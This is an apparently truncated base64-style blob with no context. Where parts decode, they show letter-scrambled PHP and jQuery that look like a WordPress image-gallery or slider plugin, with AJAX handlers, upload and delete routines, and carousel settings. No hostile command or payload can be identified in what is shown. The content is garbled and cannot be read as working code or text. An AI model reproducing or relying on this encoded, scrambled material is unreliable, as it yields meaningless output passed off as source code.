uJEdxRDNCVUhoLidEYzsgaE5CYWhIOiBDU0RjOw0KICAgICAgICAgICAgICAgICAgICAgICAgR2ZkZlA6IDhoQkhOOyBqZm1ILXJCcE46IEVlRGM7IGpmbUgtM05CYWhIOiB4ZmRVOyBkQm1OLWhOQmFoSDogQ1NEYzsgSE5jSC1xZEJhbTogR05tSE5QOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAnLiRIaHRXeEhIZC4nDQogICAgICAgICAgICAgICAgICAgIDwvVUJvPg0KICAgICAgICAgICAgICAgIDwvVUJvPg0KICAgIDxCV2EgdD0iSGh0V3giIHJQRz0iJy4kTldhSGh0V3guJyIgLz4NCiAgICA8L1VCbz4nOw0KDQp9DQoNCi8vIDJ1WUZYViBDIDI3VllRSiBuWHNYVkFKTVYJDQpqdG1HSEJmbSBOV2FfcmRCVU5QX0gzZl9yR1BCREhfYU5tTlBxSGZQKCAkQnJyZEJVTnF0SGYsICRCcnJkQlVOQm1IUG9kLCAkQlczQlVIaCwgJEJXaE5CYWhILCAkdG1CMHROQlUgKSB7DQoJCU5HaGYnPHJHUEJESCBIZ0ROPSJITmNIL2txb3FyR1BCREgiPmt6dE5QZyhVZkd0V05tSCkuUE5xVWcoanRtR0hCZm0oKXsNCgkJCQlrenROUGcoIiNCcmRmcVVOUGpmUC0nLiR0bUIwdE5CVS4nIikuanFVTk10SChDeXl5LCBqdG1HSEJmbSAoKSB7IA0KCQkJCWt6dE5QZygiLkRxYTNQcUQtJy4kdG1CMHROQlUuJyIpLmpxVU5ZbShFeXl5KTsNCgkJCQl9KTsNCgkJCWp0bUdIQmZtIEIoKXtvcVAgTj1QLiRYZFdILkRxUE5tSHNmVU4uR2RCTm1IOEJVSGg7QmooTilQLiQyTkgyR3FkTjhCVUhoKFpxSGguV3FjKFpxSGguV0JtKE4sJy4kQlczQlVIaC4nKSxieXkpKTtOZHJOIDNCbVVmMy5yTkhKQldOZnRIKEIsYnkpfW9xUCBOPVtdO05bIlo3dVlRfDkiXT17JEZ0UHFIQmZtOnd5eSwkN2RCRDplLCRaZm9OOkhQdE4sJFhxckJtYTokSXJyZlBYcXJCbWEkLiRYcXJOTXRIWGNEZn07b3FQIEg9W3skRnRQcUhCZm06RUN5eSwkdmZmVzpFLCRYcXJCbWE6eyR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCRNRHFHQkhnOiRJcnJmUFhxckJtYSQuJFhxck5NdEh6dHFVfSwkTURxR0JIZzpDfSx7JEZ0UHFIQmZtOkVOYiwkdmZmVzpDLCQyZEJVTk10SDpIUHROLCRYcXJCbWE6eyR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGYsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTnVCbU5xUH0sJE1EcUdCSGc6Q30seyRGdFBxSEJmbTpFQ3l5LCR2ZmZXOkUsJFZmSHFITjpIUHROLCRGdFBCbWE6eyR2ZmZXOlsuQywuNF0sJFZmSHFITjpbLkMsLjRdfSwkWHFyQm1hOnskdmZmVzokSXJyZlBYcXJCbWEkLiRYcXJOMjNCbWEsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTnVCbU5xUCwkVmZIcUhOOiRJcnJmUFhxckJtYSQuJFhxck4yM0JtYX0sJE1EcUdCSGc6QywkVmZ0bVU6eyRWZkhxSE46LlN9fSx7JEZ0UHFIQmZtOkVOYiwkdmZmVzpDLCRWZkhxSE46SFB0TiwkMmRCVU5NdEg6SFB0TiwkWHFyQm1hOnskdmZmVzokSXJyZlBYcXJCbWEkLiRYcXJOWW1YY0RmLCRNRHFHQkhnOiRJcnJmUFhxckJtYSQuJFhxck51Qm1OcVAsJFZmSHFITjokSXJyZlBYcXJCbWEkLiRYcXJOWW1YY0RmfSwkTURxR0JIZzpDLCRWZnRtVTp7JFZmSHFITjouNH19LHskRnRQcUhCZm06RUN5eSwkN2ZkcjpDLCR2ZmZXOkUsJGlkZ0ZCUE5HSEJmbTpFLCRBcnJOV3hkZzpDeWVPLCQ3aE5yclpmVU46eyQ3ZmR0V206RVN9LCRYcXJCbWE6eyR1TmpIOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCRNRHFHQkhnOiRJcnJmUFhxckJtYSQuJFhxck51Qm1OcVB9LCQyR3FkTlRmUEJwZm1IcWQ6LlMsJE1EcUdCSGc6Q30seyRGdFBxSEJmbTpFQ3l5LCQ3ZmRyOkMsJHZmZlc6QywkMmRCVU5NdEg6SFB0TiwkaWRnRkJQTkdIQmZtOkUsJEFyck5XeGRnOkN5ZU8sJDdoTnJyWmZVTjp7JDdmZHRXbTpFU30sJFhxckJtYTp7JHVOakg6JElycmZQWHFyQm1hJC4kWHFyTlltWGNEZiwkdmZmVzokSXJyZlBYcXJCbWEkLiRYcXJOWW1YY0RmLCRNRHFHQkhnOiRJcnJmUFhxckJtYSQuJFhxck51Qm1OcVB9LCQyR3FkTlRmUEJwZm1IcWQ6ZSwkTURxR0JIZzpDfSx7JEZ0UHFIQmZtOkVDeXksJHZmZlc6RSwkVmZIcUhOOkhQdE4sJEZ0UEJtYTp7JHVOakg6Wy5DLC40XSwkdmZmVzpbLkMsLjRdLCRWZkhxSE46Wy5DLC40XX0sJGlkZ0ZCUE5HSEJmbTpFLCRYcXJCbWE6eyR1TmpIOiRJcnJmUFhxckJtYSQuJFhxck4yM0JtYSwkdmZmVzokSXJyZlBYcXJCbWEkLiRYcXJOMjNCbWEsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTnVCbU5xUCwkVmZIcUhOOiRJcnJmUFhxckJtYSQuJFhxck4yM0JtYX0sJDJHcWROVGZQQnBmbUhxZDoudywkTURxR0JIZzpDLCRWZnRtVTp7JFZmSHFITjouU319LHskRnRQcUhCZm06RU5iLCR2ZmZXOkMsJFZmSHFITjpIUHROLCQyZEJVTk10SDpIUHROLCRpZGdGQlBOR0hCZm06QywkWHFyQm1hOnskdU5qSDokSXJyZlBYcXJCbWEkLiRYcXJOWW1YY0RmLCR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGYsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTnVCbU5xUCwkVmZIcUhOOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGZ9LCQyR3FkTlRmUEJwZm1IcWQ6ZSwkTURxR0JIZzpDLCRWZnRtVTp7JFZmSHFITjouNH19LHskRnRQcUhCZm06RUN5eSwkdmZmVzpFLCRWZkhxSE46SFB0TiwkRnRQQm1hOnskdU5qSDpbLkMsLjRdLCR2ZmZXOlsuQywuNF0sJFZmSHFITjpbLkMsLjRdfSwkaWRnRkJQTkdIQmZtOkMsJFhxckJtYTp7JHVOakg6JElycmZQWHFyQm1hJC4kWHFyTjIzQm1hLCR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck4yM0JtYSwkTURxR0JIZzokSXJyZlBYcXJCbWEkLiRYcXJOdUJtTnFQLCRWZkhxSE46JElycmZQWHFyQm1hJC4kWHFyTjIzQm1hfSwkMkdxZE5UZlBCcGZtSHFkOi53LCRNRHFHQkhnOkMsJFZmdG1VOnskVmZIcUhOOi5TfX0seyRGdFBxSEJmbTpFTmIsJHZmZlc6QywkVmZIcUhOOkhQdE4sJDJkQlVOTXRIOkhQdE4sJGlkZ0ZCUE5HSEJmbTpFLCRYcXJCbWE6eyR1TmpIOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGYsJHZmZlc6JElycmZQWHFyQm1hJC4kWHFyTlltWGNEZiwkTURxR0JIZzokSXJyZlBYcXJCbWEkLiRYcXJOdUJtTnFQLCRWZkhxSE46JElycmZQWHFyQm1hJC4kWHFyTlltWGNEZn0sJDJHcWROVGZQQnBmbUhxZDplLCRNRHFHQkhnOkMsJFZmdG1VOnskVmZIcUhOOi40fX0seyRGdFBxSEJmbTpFQ3l5LCQ3ZmRyOkMsJHZmZlc6RSwkVmZIcUhOOkhQdE4sJGlkZ0ZCUE5HSEJmbTpTLCRBcnJOV3hkZzpDeWVPLCQ3aE5yclpmVU46eyQ3ZmR0V206RVN9LCRYcXJCbWE6eyR1TmpIOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCRKZkQ6JElycmZQWHFyQm1hJC4kWHFyTlltN3R4QkcsJHZmZlc6JElycmZQWHFyQm1hJC4kWHFyTlltN3R4QkcsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTk10SHp0cVUsJFZmSHFITjokSXJyZlBYcXJCbWEkLiRYcXJOWW03dHhCR30sJDJHcWROVGZQQnBmbUhxZDouUywkMkdxZE5MTlBIQkdxZDouYiwkTURxR0JIZzpDLCRWZnRtVTp7JFZmSHFITjoubH19LHskRnRQcUhCZm06RU5iLCQ3ZmRyOkMsJHZmZlc6RSwkVmZIcUhOOkhQdE4sJDJkQlVOTXRIOkhQdE4sJGlkZ0ZCUE5HSEJmbTpTLCRBcnJOV3hkZzpDeWVPLCQ3aE5yclpmVU46eyQ3ZmR0V206RVN9LCRYcXJCbWE6eyR1TmpIOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGYsJEpmRDokSXJyZlBYcXJCbWEkLiRYcXJOWW1YY0RmLCR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGYsJE1EcUdCSGc6JElycmZQWHFyQm1hJC4kWHFyTnVCbU5xUCwkVmZIcUhOOiRJcnJmUFhxckJtYSQuJFhxck5ZbVhjRGZ9LCQyR3FkTlRmUEJwZm1IcWQ6LlMsJDJHcWROTE5QSEJHcWQ6LmIsJE1EcUdCSGc6QywkVmZ0bVU6eyRWZkhxSE46Lmx9fSx7JEZ0UHFIQmZtOkVDeXksJFZmM3I6QywkdmZmVzpDLCRWZkhxSE46SFB0TiwkaWRnRkJQTkdIQmZtOncsJEFyck5XeGRnOkN5ZU8sJDdoTnJyWmZVTjp7JFZmMzpDNH0sJFhxckJtYTp7JHVOakg6JElycmZQWHFyQm1hJC4kWHFyTlltN3R4QkcsJEpmRDokSXJyZlBYcXJCbWEkLiRYcXJOWW03dHhCRywkdmZmVzokSXJyZlBYcXJCbWEkLiRYcXJOWW03dHhCRywkTURxR0JIZzokSXJyZlBYcXJCbWEkLiRYcXJOTXRIenRxVSwkVmZIcUhOOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHfSwkMkdxZE5UZlBCcGZtSHFkOmUsJDJHcWROTE5QSEJHcWQ6QywkTURxR0JIZzpDLCRWZnRtVTp7JFZmSHFITjoubH19LHskRnRQcUhCZm06RUN5eSwkN2ZkcjpDLCR2ZmZXOkMsJFZmSHFITjpIUHROLCRpZGdGQlBOR0hCZm06UywkQXJyTld4ZGc6Q3llTywkN2hOcnJaZlVOOnskN2ZkdFdtOkVPfSwkWHFyQm1hOnskdU5qSDokSXJyZlBYcXJCbWEkLiRYcXJOWW03dHhCRywkSmZEOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCR2ZmZXOiRJcnJmUFhxckJtYSQuJFhxck5ZbTd0eEJHLCRNRHFHQkhnOiRJcnJmUFhxckJtYSQuJFhxck5NdEh6dHFVLCRWZkhxSE46JElycmZQWHFyQm1hJC4kWHFyTlltN3R4Qkd9LCQyR3FkTlRmUEJwZm1IcWQ6RSwkMkdxZE5MTlBIQkdxZDpDLCRNRHFHQkhnOkMsJFZmdG1VOnskVmZIcUhOOi40fX1dO29xUCBtPXskQXRIZlFkcWc6Jy4kQnJyZEJVTnF0SGYuJywkQXRIZlFkcWdZbUhOUG9xZDonLiRCcnJkQlVOQm1IUG9kLicsJFFxdHJOTW1UZm9OUDpiLCR1cXBndWZxVUJtYTpDLCRGUHFhTVBCTm1IcUhCZm06YiwkQVBQZjM1TmdzcW9CYXFIQmZtOkhQdE4sJDJkQlVORnRQcUhCZm06d3l5LCQyZEJVTnJoZjNNREhCZm1yOnskN2RxcnI6JElycmZQMmRCVU5yaGYzVnRtbU5QJCwkSlBxbXJCSEJmbXI6SCwkSlBxbXJCSEJmbXJNUFVOUDpFLCQyaGYzdUJtMTpIUHROfSwkQVBQZjNzcW9CYXFIZlBNREhCZm1yOnskN2RxcnI6JElycmZQQVBQZjNzcW9CYXFIZlAkLCQ3aHFtR05KZjJoZjM6RSwkQXRIZjdObUhOUDpDLCQySE5EcjpFfSwkSmh0V3htcUJkc3FvQmFxSGZQTURIQmZtcjp7JDdkcXJyOiRJcnJmUEpodFd4bXFCZHNxb0JhcUhmUCQsJDdocW1HTkpmMmhmMzpDLCRBR0hCZm1aZlVOOkUsJHVxbU5yOkMsJDJEcUdCbWFSOkVlLCQyRHFHQm1hNjpFQywkRkJyRGRxZ1FCTkdOcjp3LCRRcVAxQm1hUWZyQkhCZm06RVN3LCRNUEJObUhxSEJmbTpDfSwkN3FESEJmbTJkQlVOUE1ESEJmbXI6eyQ3ZHFycjokSXJyZlA3cURIQmZtMmRCVU5QJCwkN3FESEJmbUpQcW1yQkhCZm1yOk4sJFFkcWdZbVpmVU46RSwkUWRxZ010SFpmVU46Yn19O29xUCBQPW1OMyAkSXJyZlAyZEJVTlAkKCJyZEJVTlBDX0dmbUhxQm1OUC0nLiR0bUIwdE5CVS4nIixtKTtCKCk7QmooIW1xb0JhcUhmUC50ck5QQWFObUguV3FIR2goLyhCUWhmbU58QlFmVXxCUXFVfDlkcUcxOU5QUGd8WVhaZnhCZE4pLykpe2t6dE5QZygzQm1VZjMpLnhCbVUoIlBOckJwTiIsQil9fSk8L3JHUEJESD4nOw0KfQ0KDQovLyA3cVBmdHJOZCBuWHNYVkFKTVYJDQpqdG1HSEJmbSBOV2FfR3FQZnRyTmRfYU5tTlBxSGZQICggJE5XYXJQRywgJE5XYUhodFd4LCAkM0JVSGgsICRIaHRXeEhIZCApew0KCQ0KICAgIE5HaGYnPFVCbyBHZHFycj0iTldhLUdxUGZ0ck5kIj48QldhIEhCSGROPSInLiRIaHRXeEhIZC4nIiBHZHFycj0iTldhR3FQZnRyTmQiIHJQRz0iJy4kTldhSGh0V3guJyIgLz48L1VCbz4nOw0KCQ0KfQ0KDQovLyA3cVBmdHJOZCAyN1ZZUUogblhzWFZBSk1WCQ0KanRtR0hCZm0gTldhX0dxUGZ0ck5kX3JHUEJESF9hTm1OUHFIZlAoICRCcnJkQlVOcXRIZiwgJEJycmRCVU5CbUhQb2QsICRCVzNCVUhoLCAkQldoTkJhaEgsICROZE5XTm1IQlUsICROcXJCbWFOampOR0gsICRIQkhkTiwgJHRtQjB0TkJVICl7DQoJTkdoZiAnPHJHUEJESCBIZ0ROPSJITmNIL2txb3FyR1BCREgiPg0KCWt6dE5QZyhVZkd0V05tSCkuUE5xVWcoanRtR0hCZm0oKSB7DQoJCWt6dE5QZygiI0JyZGZxVU5QamZQLScuJHRtQjB0TkJVLiciKS5qcVVOTXRIKEN5eXksIGp0bUdIQmZtICgpIHsNCgkJCWt6dE5QZygiLkRxYTNQcUQtJy4kdG1CMHROQlUuJyIpLmpxVU5ZbShieXl5KTsNCgkJCQ0KCQlrenROUGcoIi54Y3JkQlVOUC0nLiROZE5XTm1IQlUuJyIpLnhjMmRCVU5QKHsNCgkJCXJkQlVOOEJVSGg6ICcuJEJXM0JVSGguJywNCgkJCXJkQlVOWnFQYUJtOiBFeSwNCgkJCVdxYzJkQlVOcjogRXksDQoJCQlEcWFOUDoganFkck4sDQoJCQl0ck43MjI6IGpxZHJOLA0KCQkJTnFyQm1hOiAiJy4kTnFyQm1hTmpqTkdILiciLA0KCQkJcXRIZjogSFB0TiwNCgkJCXJETk5VOiBFU3l5LA0KCQkJR2ZtSFBmZHI6IEhQdE4sDQoJCQlxdEhmN2ZtSFBmZHI6IEhQdE4sDQoJCQlEUE5kZnFVWVdxYU5yOiAicWRkIiwNCgkJCUJtakJtQkhOdWZmRDogSFB0TiwNCgkJCUdxREhCZm1yOiAnLiRIQkhkTi4nLA0KCQkJcXRIZlRmb05QOiBIUHROLA0KCQkJcXRIZjJIcVBIOiAnLiRCcnJkQlVOcXRIZi4nLA0KCQkJRHF0ck46ICcuJEJycmRCVU5CbUhQb2QuJywNCgkJCWZtMmRCVU5BakhOUDoganRtR0hCZm0oKSB7DQoJCQkJa3p0TlBnKCIueGMtckhxUEgiKS5IUEJhYU5QKCJHZEJHMSIpOw0KICAgICAgICAgICAgfQ0KCQkJCX0pOw0KCQkJCQkNCgkJCX0pOwkJCQ0KCQkJDQoJCX0pOw0KCQkNCg0KPC9yR1BCREg+JzsgDQoNCn0NCg0KLy8gaWZIZlBxV3EgblhzWFZBSk1WCQ0KanRtR0hCZm0gTldhX2pmSGZQcVdxX2FObU5QcUhmUCAoICROV2FyUEcsICROV2FIaHRXeCwgJDNCVUhoLCAkSGh0V3hISGQsICRHcURIQmZtICl7DQoJDQogICAgLy9OR2hmJzxCV2EgJy4kR3FESEJmbS4nIHJQRz0iJy4kTldhSGh0V3guJyI+JzsgLy8gc2ZQV3FkIGRmcVVOUA0KCU5HaGYgJzxxICcuJEdxREhCZm0uJyBoUE5qPSInLiROV2FyUEcuJyIgVXFIcS1IaHRXeD0iJy4kTldhSGh0V3guJyI+PC9xPic7IC8vIDNCSGggdXFwZyB1ZnFVDQp9DQoNCmp0bUdIQmZtIE5XYV9xa3FjX3FkeHRXX2RmcVVOUCgpIHsNCgkNCglHaE5HMV9xa3FjX1BOak5QTlAoICdOcXJnV05VQnEtRFBmLW1mbUdOJywgJ3JOR3RQQkhnJyApOw0KCQ0KCQlCaiAoICFCcnJOSCggJF9RTTJKWydXTlVCcUJVJ10gKSB8fCAhQnJyTkgoICRfUU0ySlsnRERQck4nXSApIHx8ICFCcnJOSCggJF9RTTJKWydXcUJtQlUnXSApICkgew0KCQkJDQoJCU5HaGYgJzxVQm8gR2RxcnI9Im9CTjMiPjxCV2EgclBHPSInLkRkdGFCbXJfdFBkKCdCV3FhTnIvcWtxYy1kZnFVTlAuYUJqJyAsIF9faVl1WF9fKS4nIiAzQlVIaD0iYkMiIGhOQmFoSD0iYkMiLz48L1VCbz4nOw0KCQlVQk47DQoJCX0NCgkJDQoJCU5kck4gewkNCgkJcjNCSEdoICgkX1FNMkpbJ0REUHJOJ10pew0KCQkJR3FyTiAncmhmM2FxZGROUGcnOg0KCQkJCU5HaGYgTldhX3FkeHRXX0JXYV9kQnJIKEhQQlcoJF9RTTJKWydXTlVCcUJVJ10pLCBIUEJXKCRfUU0ySlsnSGh0V3htcUJkJ10pLCBIUEJXKCRfUU0ySlsnV3FCbUJVJ10pICk7DQoJCQkJM0RfVUJOKCk7DQoJCQl4UE5xMTsNCgkNCgkJCUdxck4gJ05XYXFrcWN4cUcxJzoNCgkJCQlOR2hmIE5XYV9xZHh0V3JfeHFHMShIUEJXKCRfUU0ySlsnV05VQnFCVSddKSwgSFBCVygkX1FNMkpbJ0hodFd4bXFCZCddKSwgSFBCVygkX1FNMkpbJ1dxQm1CVSddKSApOw0KICAgCQkJIAkzRF9VQk4oKTsNCgkJCXhQTnExOw0KCQkJDQoJCQlVTmpxdGRIOg0KCQkJeFBOcTE7DQoJDQoJCX0NCgl9DQp9DQpxVVVfcUdIQmZtKCczRF9xa3FjX21mRFBCb19OV2FfcWtxY19xZHh0V19kZnFVTlAnLCAnTldhX3FrcWNfcWR4dFdfZGZxVU5QJyk7DQpxVVVfcUdIQmZtKCczRF9xa3FjX05XYV9xa3FjX3FkeHRXX2RmcVVOUCcsICdOV2FfcWtxY19xZHh0V19kZnFVTlAnKTsNCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBBSUFSIFZYMlhKIDJYSkpZc24yDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBOV2FfR0RfUE5yTkgoKSB7DQoJDQoJR2hORzFfcWtxY19QTmpOUE5QKCAnTnFyZ1dOVUJxLURQZi1tZm1HTicsICdyTkd0UEJIZycgKTsNCgkNCglCaiAoICFCcnJOSCggJF9RTTJKWydHV1UnXSApICkgew0KCQlOR2hmICd5JzsNCgkJVUJOOw0KCQl9DQoJCQ0KCQlOZHJOIHsNCgkJCUJqICggJF9RTTJKWydHV1UnXSA9PSAnUE5yTkgnICl7DQoJCQkJTkdoZiAnRSc7DQoJCQkJTnFyZ1dOVUJxX1BOckhmUE5fSGZfVU5qcXRkSCgkX1FNMkpbJ0dXVSddKTsJCQkNCgkJCQlVQk47DQoJCQkJfQ0KCX0NCn0NCnFVVV9xR0hCZm0oICczRF9xa3FjX05XYV9HRF9QTnJOSCcsICdOV2FfR0RfUE5yTkgnICk7DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgQUlBUiBLUUZBSlggbkF1dVhWNg0KfC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoqLw0KanRtR0hCZm0gTldhX3REVUhfYXFkZF9kQnJIKCkgew0KCUJqICggIUJyck5IKCAkX1FNMkpbJ0RySEJVJ10gKSApIHsNCgkJTkdoZiAnPEQ+QWtxYyBQTjB0TnJIIGpxQmROVSwgRGROcXJOIFBOalBOcmggZ2Z0UCB4UGYzck5QIDNCbVVmMy48L0Q+JzsNCgkJVUJOOw0KCQl9DQoJCU5kck4gew0KCQkJdERVcUhOX0RmckhfV05IcSggJF9RTTJKWydEckhCVSddICwgJ05xcldOVUJxX1dOSHF4ZmNfV05VQnFfYXFkZE5QZycsICcnICk7DQoJCQlOR2hmICdzZiBCV3FhTihyKSByTmROR0hOVS4uLic7DQoJCQlVQk47DQoJCX0NCn0NCnFVVV9xR0hCZm0oICczRF9xa3FjX05XYV90RFVIX2FxZGRfZEJySCcsICdOV2FfdERVSF9hcWRkX2RCckgnICk7DQoNCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBBSUFSIHVZMkogWlhGWUEgKEpZczZaN1gpDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBOV2FfZGZxVV9XTlVCcV9kQnJIKCkgew0KCQ0KCUJqICggIUJyck5IKCAkX1FNMkpbJ0hxY2YnXSApICkgew0KCQlOR2hmICc8RD5Ba3FjIFBOMHROckgganFCZE5VLCBEZE5xck4gUE5qUE5yaCBnZnRQIHhQZjNyTlAgM0JtVWYzLjwvRD4nOw0KCQlVQk47DQoJCX0NCgkJTmRyTiB7DQoJCQlhZGZ4cWQgJERmckg7DQoJCQkkSHFjZkhOUFcgPSAkX1FNMkpbJ0hxY2YnXTsNCgkJCQ0KCQkJDQokcVBhciA9IHFQUHFnKA0KJ0hxY18wdE5QZycgPT4gcVBQcWcoDQogICAgcVBQcWcoDQogICAgICAgICdIcWNmbWZXZycgPT4gJ05XTlVCcWFxZGROUGcnLA0KICAgICAgICAnakJOZFUnID0+ICdCVScNCiAgICAgICAgLy8nSE5QV3InID0+ICRIcWNmSE5QVw0KICAgICkNCikNCik7DQoNCjB0TlBnX0RmckhyKCAkcVBhciApOwkJCQ0KCQkJDQpCaiAoIGhxb05fRGZySHIoKSApIDoNCgkzaEJkTiAoIGhxb05fRGZySHIoKSApIDoNCgkJCSRyaGYzX1dOVUJxIC49ICcNCgkJCTxCbUR0SCBtcVdOPSInLiREZnJILT5ZRi4nIiBCVT0iJy4kRGZySC0+WUYuJyIgSGdETj0iSE5jSCIgb3FkdE49IicuYU5IX0RmckhfV05IcSggJEJVLCAnTnFyV05VQnFfV05IcXhmY19IQkhkTicsIEhQdE4gKS4nIiAvPic7DQoNCglOR2hmICRyaGYzX1dOVUJxOw0KCVVCTigpOw0KCQ0KCU5tVTNoQmROOwkNCk5kck46DQogIE5HaGYgJzJmUFBnLCBtZiBXTlVCcSBXcUhHaE5VIGdmdFAgR1BCSE5QQnEuJzsJCQ0KICBVQk4oKTsJDQpObVVCajsNCjNEX1BOck5IXzB0TlBnKCk7CQkJDQoJCQkNCgl9DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OV2FfZGZxVV9XTlVCcV9kQnJIJywgJ05XYV9kZnFVX1dOVUJxX2RCckgnICk7DQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgQUlBUiBGWHVYSlggWlhGWUEgWVpBblgNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KKi8NCmp0bUdIQmZtIE5xcldOVUJxX0JXYV9XTlVCcV9QTldvKCkgew0KCQ0KCUJqICggIUJyck5IKCAkX1FNMkpbJ0RySEJVJ10gKSB8fCAhQnJyTkgoICRfUU0ySlsnSGdETiddICkgKSB7DQoJCU5HaGYgJ3knOw0KCQlVQk47DQoJCX0NCgkJDQoJCU5kck4gew0KCQkJQmogKCAhR3RQUE5tSF90ck5QX0dxbSggJ05VQkhfSGhOV05fZkRIQmZtcicgKSApDQoJCQlVQk4oJy1FJyk7DQoJCQkNCgkJCUJqICggJF9RTTJKWydIZ0ROJ10gPT0gJ0JXcWFOJyApew0KCQkJCSRVcUhxID0gJF9RTTJKWydEckhCVSddOw0KCQkJCXREVXFITl9EZnJIX1dOSHEoJFVxSHEsICdOcXJXTlVCcV9XTkhxeGZjX0JXYScsICcnKTsNCgkJCQlOR2hmICdFJzsNCgkJCQlVQk47DQoJCQkJfQ0KCQ0KCU5kck5CaiAoICRfUU0ySlsnSGdETiddID09ICdxdFVCZicgKXsNCgkJJFVxSHEgPSAkX1FNMkpbJ0RySEJVJ107DQoJCQkJdERVcUhOX0RmckhfV05IcSgkVXFIcSwgJ05xcldOVUJxX1dOSHF4ZmNfV05VQnFfcXRVQmYnLCAnJyk7DQoJCQkJTkdoZiAnRSc7DQoJICAgIFVCTjsNCgkJfQ0KCX0NCn0NCnFVVV9xR0hCZm0oICczRF9xa3FjX05xcldOVUJxX0JXYV9XTlVCcV9QTldvJywgJ05xcldOVUJxX0JXYV9XTlVCcV9QTldvJyApOw0KDQoNCi8qDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnwgQUlBUiB1TUFGIFlaQW5YIEZYSkFZdTINCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KKi8NCmp0bUdIQmZtIE5xcldOVUJxX0JXYV9VSGQoKSB7DQoJDQoJQmogKCAhQnJyTkgoICRfUU0ySlsnQldhQlUnXSApICkgew0KCQlOR2hmICd5JzsNCgkJVUJOOw0KCQl9DQoJCQ0KCQlOZHJOIHsNCgkJCQ0KCQkJJEJXYV9CbWpmID0gYU5IX0RmckgoICRfUU0ySlsnQldhQlUnXSApOw0KCQkJJEhIZCA9ICRCV2FfQm1qZi0+RGZySF9IQkhkTjsNCgkJCSRyeEhIZCA9ICRCV2FfQm1qZi0+RGZySF9OY0dOUERIOw0KCQkJJFVOR3IgPSAgJEJXYV9CbWpmLT5EZnJIX0dmbUhObUg7DQoJCQkNCgkJCSRxZGRCV2FVcUggPSBxUFBxZyggJEhIZCwgJHJ4SEhkLCAkVU5HciApOw0KCQkJTkdoZiBCV0RkZlVOKCJ8fnwiLCAkcWRkQldhVXFIKTsNCgkgICAgVUJOOw0KCQl9DQp9DQpxVVVfcUdIQmZtKCAnM0RfcWtxY19OcXJXTlVCcV9CV2FfVUhkJywgJ05xcldOVUJxX0JXYV9VSGQnICk7DQoNCg0KLyoNCnwtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KfCBBSUFSIEtRRkFKWCBZWkFuWCBGWEpBWXUyDQp8LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiovDQpqdG1HSEJmbSBOcXJnX0d0ckhmV19ycW9OX2p0bUdIQmZtKCl7DQoJDQoJCUJqICggIUJyck5IKCAkX1FNMkpbJ0JXYUJVJ10gKSB8fCAhQnJyTkgoICRfUU0ySlsnQldhSEhkJ10gKSB8fCAhQnJyTkgoICRfUU0ySlsnQldhcnhISGQnXSApIHx8ICFCcnJOSCggJF9RTTJKWydCV2FVTnJHJ10gKSApIHsNCgkJTkdoZiAneSc7DQoJCVVCTjsNCgkJfQ0KCQkNC